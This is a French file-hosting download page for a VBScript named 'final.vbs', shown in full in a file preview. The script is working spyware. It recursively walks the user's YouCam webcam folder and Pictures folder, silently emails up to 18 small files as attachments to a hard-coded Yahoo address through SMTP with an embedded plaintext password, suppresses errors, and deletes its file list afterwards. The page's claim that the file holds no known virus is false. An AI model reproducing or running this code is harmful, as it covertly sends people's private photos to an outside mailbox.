Hébergeur de fichiers indépendant

final.vbs

À propos

Type de fichier
Fichier VBS de 2 Ko (text/plain)
Confidentialité
Fichier public, envoyé le 15 mai 2017 à 21:25, depuis l'adresse IP 80.214.x.x (France)
Sécurité
Ne contient aucun Virus ou Malware connus - Dernière vérification: hier
Statistiques
La présente page de téléchargement a été vue 201 fois depuis l'envoi du fichier
Page de téléchargement

Aperçu du fichier


On Error Resume Next

Set oShell = CreateObject("WScript.Shell")
strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")

chemins = split("\Documents\YouCam,\Pictures",",")

Dim fso, fileWriter

Set fso = CreateObject("Scripting.FileSystemObject")
Set fileWriter = fso.createTextFile(strHomeFolder &"\pictures\liste.txt", 8, True)


Sub ListDirectory(objFolder)
  For Each objFile In  objFolder.Files
  
  if j<18 and objFile.size<500000 then
  
    fileWriter.WriteLine objFile.path
	j=j+1

	On Error Resume Next
Const cdoSendUsingPickup = 1 
Const cdoSendUsingPort = 2
Const cdoAnonymous = 0
Const cdoBasic = 1
Const cdoNTLM = 2

Set objMessage = CreateObject("CDO.Message") 
objMessage.Subject = objFolder.name
objMessage.From = "ienvoie@yahoo.com"
objMessage.To = "ienvoie@yahoo.com"
sBody = objFile.path
objMessage.HTMLBody = sBody
objMessage.AddAttachment objFile.path
 
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ienvoie@yahoo.com"

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "napoli@9"

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 2000
 
objMessage.Configuration.Fields.Update
 
objMessage.Send
 
If Err.Number <>0 Then
			
		Else
		
	End If
		On Error GoTo 0

end if

  Next
 For Each objSubFolder In objFolder.SubFolders
    fileWriter.WriteLine objSubFolder.name
    ListDirectory(objSubFolder)
  Next
End Sub

For i = 0 to ubound(chemins)
Set objFso = CreateObject("Scripting.FileSystemObject")
Set objMyFolder = objFso.GetFolder (strHomeFolder&chemins(i))
ListDirectory objMyFolder
next
fileWriter.close

		
fso.deletefile strHomeFolder &"\pictures\liste.txt"'


Partager le fichier


Télécharger final.vbs


Télécharger final.vbs